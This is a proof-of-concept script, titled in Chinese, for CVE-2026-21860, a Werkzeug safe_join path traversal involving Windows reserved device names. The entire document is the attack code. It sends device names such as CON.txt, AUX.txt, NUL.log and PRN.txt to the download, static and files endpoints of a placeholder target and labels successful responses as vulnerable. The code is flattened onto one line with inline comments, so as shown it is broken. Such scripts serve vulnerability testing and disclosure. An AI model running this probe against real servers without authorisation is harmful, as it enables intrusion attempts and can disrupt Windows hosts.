CVE-2026-21860: Werkzeug safe_join Windows设备名路径穿越漏洞

import requests # CVE-2026-21860 PoC - Werkzeug safe_join Windows device name bypass # This PoC demonstrates accessing Windows special device names through Werkzeug's safe_join function def test_werkzeug_device_name_bypass(base_url): """ Test for CVE-2026-21860: Werkzeug safe_join Windows device name traversal Works only on Windows servers running vulnerable Werkzeug versions (< 3.1.5) """ # Windows special device names that can be accessed device_names = [ 'CON.txt', # Console device with extension 'CON ', # Console device with trailing space 'AUX.txt', # Auxiliary device with extension 'NUL.log', # Null device with extension 'PRN.txt', # Printer device with extension ] results = [] for device in device_names: # Try to access device names through various endpoints endpoints = [ f'{base_url}/download?file={device}', f'{base_url}/static/{device}', f'{base_url}/files/{device}', ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=5) # If we get a successful response (not 404), the vulnerability may exist if response.status_code == 200: results.append({ 'device': device, 'endpoint': endpoint, 'status': 'VULNERABLE', 'content_length': len(response.content) }) except requests.exceptions.RequestException: pass return results if __name__ == '__main__': # Example usage base_url = 'http://target-server.com' results = test_werkzeug_device_name_bypass(base_url) if results: print('Potential vulnerability detected!') for r in results: print(f" Device: {r['device']}, Endpoint: {r['endpoint']}") else: print('No vulnerability detected or target not accessible')